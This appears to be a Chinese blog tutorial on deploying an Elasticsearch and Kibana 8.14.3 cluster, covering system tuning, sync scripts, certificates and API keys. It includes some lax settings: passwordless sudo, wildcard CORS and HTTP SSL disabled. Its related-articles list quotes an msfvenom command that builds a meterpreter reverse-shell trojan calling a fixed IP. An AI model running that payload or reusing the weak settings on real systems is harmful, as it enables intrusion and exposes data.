ElasticSearch -- 部署完整步骤
前期准备
- 创建用户:
sudo useradd hadoop
sudo passwd hadoop# 密码
xxx
- 系统层面,禁用内存交换
sudo swapoff -a - 修改
sudo vi /etc/security/limits.conf
hadoop hard memlock unlimited
hadoop soft memlock unlimited
hadoop soft nofile 65536
hadoop hard nofile 65536
hadoop soft nproc 4096
hadoop hard nproc 4096
- 增加系统配置
sudo vi /etc/sysctl.conf
vm.max_map_count = 262144# 保存,执行
sudo sysctl -p
- 配置hosts
- 切换用户,配置免密
sudo su hadoopssh-keygen -t rsa
ssh-copy-id xxx
- 如果是debian系统的话,切换用户后不显示路径,需要改
vi /etc/passwd,将hadoop用户的/bin/sh改为/bin/bash


- 为了操作方便,也可以给hadoop一个root权限
vi /etc/sudoershadoop ALL=(ALL) NOPASSWD: ALL
- 为了操作方便,给主节点两个方便管理的脚本
1、sudo vi /bin/xcall
#!/bin/bash
# 获取控制台指令
cmd=$*
# 判断指令是否为空
if [ ! -n "$cmd" ]
thenecho "command can not be null !"exit
fi# 获取当前登录用户
user=`whoami`# 在从机执行指令,这里需要根据你具体的集群情况配置,host与具体主机名一致,同上
for (( ip=71;ip<=80;ip++ ))
doecho "================current ip is 172.16.75.$ip================="ssh $user@192.168.10.$ip $cmd
done
2、sudo vi /bin/xsync
#!/bin/bash# 获取输出参数,如果没有参数则直接返回
pcount=$#
if [ $pcount -eq 0 ]
thenecho "no parameter find !";exit;
fi# 获取传输文件名
p1=$1
filename=`basename $p1`
echo "load file $p1 success !"# 获取文件的绝对路径
pdir=`cd -P $(dirname $p1); pwd`
echo "file path is $pdir"# 获取当前用户(如果想使用root用户权限拷贝文件,在命令后加入-root参数即可)
user=$2
case "$user" in
"-root")user="root";;
"")user=`whoami`;;
*)echo "illegal parameter $user"esacecho $user
# 拷贝文件到从机(这里注意主机的host需要根据你的实际情况配置,要与你具体的主机名对应)
for (( ip=72;ip<=93;ip++ ))
doecho "================current host is 172.16.87.$ip================="rsync -rvl $pdir/$filename $user@192.168.10.$ip:$pdir
doneecho "complate !"
3、sudo chown hadoop:hadoop /bin/xcall /bin/xsync
4、sudo chmod u+x /bin/xcall /bin/xsync
ES
- 创建父目录,改权限
sudo mkdir /data/services
sudo chown -R hadoop:hadoop /data/services
- 解压,安装插件
tar zxvf elasticsearch-8.14.3.tar.gz
- 配置jvm.options和elasticsearch.yml
cluster.name: gpt-v8
node.name: node-01
path.data: /data/services/elasticsearch-8.14.3/data
path.logs: /data/services/elasticsearch-8.14.3/logs
network.host: node01
http.port: 9200
discovery.seed_hosts: ["node01", "node02", "node03"]
cluster.initial_master_nodes: ["node01", "node02", "node03"]
# 节点角色
node.roles: [master]# 是否支持跨域
http.cors.enabled: true# *表示支持所有域名
http.cors.allow-origin: "*"xpack.security.enabled: false
- 分发配置,各节点修改配置
- 启动ES:
/data/services/elasticsearch-8.14.3/bin/elasticsearch -d
kibana
- 修改配置,直接启动
server.port: 5601
server.host: "node01"
elasticsearch.hosts: ["http://node01:9200", "http://node02:9200", "http://node03:9200"]# 启动
nohup /data/services/kibana-8.14.3/bin/kibana >> /data/services/kibana-8.14.3/logs/kibana.log 2>&1 &
安全配置
- 生成证书:
bin/elasticsearch-certutil ca --silent --pem --days 3650 -out config/certs/ca.zip - 解压
cd config/certs/ && unzip ca.zip得到 ca 目录,包含:ca.crt和ca.key - 各个节点生成证书:
vi instance.yml
instances:- name: node-01dns:- localhost- bigdata-offline-elasticsearch-node01ip:- "xxx1"- name: node-02dns:- localhost- bigdata-offline-elasticsearch-node02ip:- "xxx2"- name: node-03dns:- localhost- bigdata-offline-elasticsearch-node03ip:- "xxx3"- name: "kibana"ip:- "xxx3"
- 生成节点证书:
bin/elasticsearch-certutil cert --silent --pem -out config/certs/certs.zip --in config/certs/instances.yml --ca-cert config/certs/ca/ca.crt --ca-key config/certs/ca/ca.key - 解压:
cd config/certs/ && unzip certs.zip,包含:instance.crt和instance.crt - 各个节点配置 elasticsearch.yml:
xpack.security.enabled: true
xpack.monitoring.collection.enabled: true
xpack.security.http.ssl.enabled: false # 启用 HTTPS(建议)
xpack.security.transport.ssl.enabled: true # 节点间加密(必须)#xpack.security.http.ssl.key: certs/instance.key#xpack.security.http.ssl.certificate: certs/instance.crt#xpack.security.http.ssl.certificate_authorities: certs/ca.crt
xpack.security.transport.ssl.key: certs/node-01/node-01.key
xpack.security.transport.ssl.certificate: certs/node-01/node-01.crt
xpack.security.transport.ssl.certificate_authorities: certs/ca/ca.crt
- 挨个重启服务
- 重置密码:
bin/elasticsearch-setup-passwords auto - 验证:
curl -k -u elastic:password http://node-01:9200
{"name" : "node-01","cluster_name" : "gpt-v8","cluster_uuid" : "RY5geW7yRPq2YHouM3AQLA","version" : {"number" : "8.14.3","build_flavor" : "default","build_type" : "tar","build_hash" : "d55f984299e0e88dee72ebd8255f7ff130859ad0","build_date" : "2024-07-07T22:04:49.882652950Z","build_snapshot" : false,"lucene_version" : "9.10.0","minimum_wire_compatibility_version" : "7.17.0","minimum_index_compatibility_version" : "7.0.0"},"tagline" : "You Know, for Search"
}
配置kibana
- 拷贝证书
- 配置 kibana.yml
elasticsearch.username: "kibana_system"
elasticsearch.password: "password"
elasticsearch.ssl.certificateAuthorities: [ "/data/services/kibana-8.14.3/config/certs/ca/ca.crt" ]
- 重启服务
- 使用elastic用户登录
为某个用户分配token
- 在kibana的Management的Stack Management,Security创建role和user,配置权限
- 为该用户分配token:
POST _security/api_key
{"name": "similar"
}# 查询:
GET _security/api_key
参考
相关文章:
ElasticSearch -- 部署完整步骤
前期准备 创建用户: sudo useradd hadoop sudo passwd hadoop# 密码 xxx系统层面,禁用内存交换 sudo swapoff -a修改 sudo vi /etc/security/limits.conf hadoop hard memlock unlimited hadoop soft memlock unlimited hadoop soft nofile 65536 had…...
医学交互作用分析步骤和目的(R语言)
医学交互作用分析的目的和用途(R语言) 医学交互作用分析一直是医学数据分析的组成部分,总结最近的一些认识。 目的: 在独立危险因素鉴定的研究中,(独立危险因素的)交互作用可以作为独立危险因…...
创新前沿 | 接管主机即刻增量CDP备份,高效保障接管期间业务安全!
科力锐创新前沿系列 接管主机增量CDP备份 高效保障接管业务安全 当核心系统遭遇系统故障或误操作导致数据逻辑损毁等,往往需要将生产业务主机接管起来,继续对外提供服务,保障业务连续性。 然而,你的接管主机真的安全吗?一旦接…...
《基于python游戏设计与实现》开题报告
个人主页:@大数据蟒行探索者 一、研究背景、目的及意义 (一)研究背景 游戏的普及与成功:随着智能手机的普及和网络技术的发展,手机游戏产业逐渐成熟,成为娱乐文化产业的重要组成部分。《开心消消乐》作为一款休闲类游戏,自上线以来凭借其简单易上手的玩法和丰富的…...
Netty源码—7.ByteBuf原理三
大纲 9.Netty的内存规格 10.缓存数据结构 11.命中缓存的分配流程 12.Netty里有关内存分配的重要概念 13.Page级别的内存分配 14.SubPage级别的内存分配 15.ByteBuf的回收 9.Netty的内存规格 (1)4种内存规格 (2)内存申请单位 (1)4种内存规格 一.tiny:表示从…...
(免费开源)图片去水印以及照片擦除功能,你会选择使用吗?
图片去水印以及相关人物擦除是一个非常小众的需求,就是将原本图片上的文字或者logo去除让变成一个干净的图片,但市面上很多都是付费的,今天就介绍一下这款免费工具。 工具演示效果 工具介绍 名称:lama-projct 利用AI模型训练LaM…...
2025-03-26 学习记录--C/C++-PTA 6-2 顺序表操作集
合抱之木,生于毫末;九层之台,起于累土;千里之行,始于足下。💪🏻 一、题目描述 ⭐️ 6-2 顺序表操作集 本题要求实现顺序表的操作集。 函数接口定义: 👇🏻 …...
SQL-木马植入、报错注入及其他
一、读写权限确认 show global variables like %secure%; 查看mysql全局变量的配置,当输入以上命令时,结果 secure_file_priv 空的时候,任意读写 secure_file_priv 某个路径的时候,只能在规定的那个路径下读写 secure_file_pri…...
用C#实现UDP服务器
对UDP服务器的要求 如同TCP通信一样让UDP服务端可以服务多个客户端 需要具备的条件: 1.区分消息类型(不需要处理分包、黏包) 2.能够接收多个客户端的消息 3.能够主动给自己发过消息的客户端发消息(记录客户端信息)…...
React 组件之间的通信
React 组件通信 对于 React 组件之间的通信,我们首先了解一下 React 组件通信的设计理念。 单向数据流(Unidirectional Data Flow) 数据流向明确: 在 React 中,数据总是从父组件流向子组件(通过 Props 传…...
[C++面试] span<char>和string_view的差别
1、概念 std::string_view是领域特定设计(字符串)。C17引入,仅用于处理以空字符(\0)结尾的字符序列;仅支持字符类型(如 char、wchar_t、std::string),用于高效访问字符串…...
在 VMware Workstation 17 中安装的 Ubuntu 虚拟机无法使用桥接模式
在 VMware Workstation 17 中安装的 Ubuntu 虚拟机无法使用桥接模式时,通常是由于 网络配置错误、桥接适配器选择不当或主机网络环境限制 导致。以下是详细的排查和解决方法:我采用第一步就解决了问题 1. 检查 VMware 桥接模式配置 步骤 1:…...
谐波和三相不平衡度
谐波(Harmonics) 谐波是指在电力系统中,由于非线性负载的作用,导致电流或电压波形偏离理想正弦波形的现象。具体来说: 定义: 在理想情况下,交流电的电压和电流波形是正弦波。然而,由于电力系统中存在非线性负载(如变频器、整流器、开关电源等),这些负载会使得电流或…...
深克隆和浅克隆(建造者模式,内含简版)
让我们来看一个例子: 设计一个客户类Customer,其中客户地址存储在地址类Address中,用浅克隆和深克隆分别实现Customer对象的复制并比较这两种克隆方式的异同。 代码实现 Customer类和Address类都是实现的Java 内置的 java.lang.Cloneable …...
印刷电路板 (PCB) 的影响何时重要?在模拟环境中导航
我和我的同事们经常被问到关于 PCB 效应的相同问题,例如: 仿真何时需要 PCB 效果? 为什么时域仿真需要 PCB 效应? 当 PCB 效应必须包含在仿真中时,频率是否重要? 设计人员应该在多大程度上关注 VRM 模型中包…...
循环队列 bug
1. 题目描述 spfa判断负环 LC 设计循环队列 2. 普通单队列 int q[N]; int hh 0, tt -1; while(hh < tt) // empty {int t q[ hh ]; // push/* do something */q[ tt ] j; // pop }3. 错误的循环队列 int q[N]; int hh 0, tt -1; while(hh ! (tt 1) % N) // 非空 …...
Leetcode 最小基因变化
java solution:BFS 算法 class Solution {public int minMutation(String startGene, String endGene, String[] bank) {//首先创建一个集合来存储有效基因串Set<String> bankSet new HashSet<>(Arrays.asList(bank));if(!bankSet.contains(endGene))…...
输出输入练习
1. 题目:这个程序将向用户提出一个"y/N"问题,然后把用户输入的值赋值给answer变量。要求:针对用户输入y或y 和N或n进行过滤 #include <iostream>using namespace std;int main(){char answer;cout<<"请问可以格式…...
人员进出新视界:视觉分析算法的力量
视觉分析赋能离岗检测新策略 随着时代的发展,失业率增加,社会安保压力也随之增大。企业为了提升管理效率,保障园区安全,对员工离岗检测的需求日益迫切。传统的离岗管理方式,如人工巡逻、打卡记录等,不仅效率…...
3DGS较真系列
引言 机器视觉领域中,新颖视图合成技术的核心目标是通过图像或视频构建可以被计算机处理和理解的3D模型。该技术被认为是机器理解真实世界复杂性的基础,催生了大量的应用,包括3D建模、虚拟现实、自动驾驶等诸多领域。回顾其发展历史…...
MSF木马的生成及免杀
先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…...
人工智能与无人机:无人机的进步与应用技术详解
人工智能(Artificial Intelligence,简称AI)是一门研究、开发用于模拟、延伸和扩展人类智能的理论、方法、技术及应用系统的新技术科学。 无人机,全称为无人驾驶飞行器(UAV),也称为无人机器人、…...
LeetCode算法题(Go语言实现)_12
题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 一、代码实现 func maxArea(height []…...
“11.9元“引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 ✨
💥 "11.9元"引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 🎯 🔍 用 Mermaid原生防御体系图 #mermaid-svg-XZtcYBnmHrF9bFjc {font-family:"trebuchet ms",verdana,arial,sans-serif;fon…...
SQL注入零基础学习二MYSQL手工注入
1.SQL注入之sqli-labs环境搭建 1.Sqli-labs项目地址—Github获取:GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. Sqli-labs环境安装 需要安装以下环境 apachemysqlphp Windows版phpstudy下载 - 小皮面板(phpstudy…...
可以媲美YOLO的开源实时目标检测模型:RF-DETR,在 COCO 上达到 SOTA 水平,并专为微调设计
RF-DETR:SOTA 实时目标检测模型 RF-DETR 是由 Roboflow 开发并基于 Transformer 的实时目标检测模型架构,采用 Apache 2.0 许可证发布。 RF-DETR 是第一个在 Microsoft COCO 基准测试中超过 60 AP 的实时模型,同时在基础尺寸下具有竞争力。…...
【hadoop】hadoop streaming
API: https://hadoop.apache.org/docs/stable/hadoop-streaming/HadoopStreaming.html(hadoop3) https://cwiki.apache.org/confluence/display/HADOOP2/HadoopStreaming(hadoop2) hadoop version查看hadoop版本&#…...
Unity-RectTransform设置UI width
不知道有没人需要这样的代码,就是.sizeDelta //不确定是不是英文翻译的原因,基本很难理解,sizeDeltaSize,//未必完全正确,但这么写好像总没错过 //image 在一个UnityEngine.UI.Image 的数组内foreach (var image in l…...
开发中后端返回下划线数据,要不要统一转驼峰?
先说结论。看情况!!!! 前端 主要用 JS/TS 建议后端返回 camelCase,减少前端转换成本。后端 主要是 Python/Go 建议保持 snake_case,前端做转换。但是团队统一风格最重要!如果统一返回驼峰就驼峰…...
【现代深度学习技术】现代卷积神经网络04:含并行连接的网络(GoogLeNet)
【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上,结合当代大数据和大算力的发展而发展出来的。深度学习最重…...
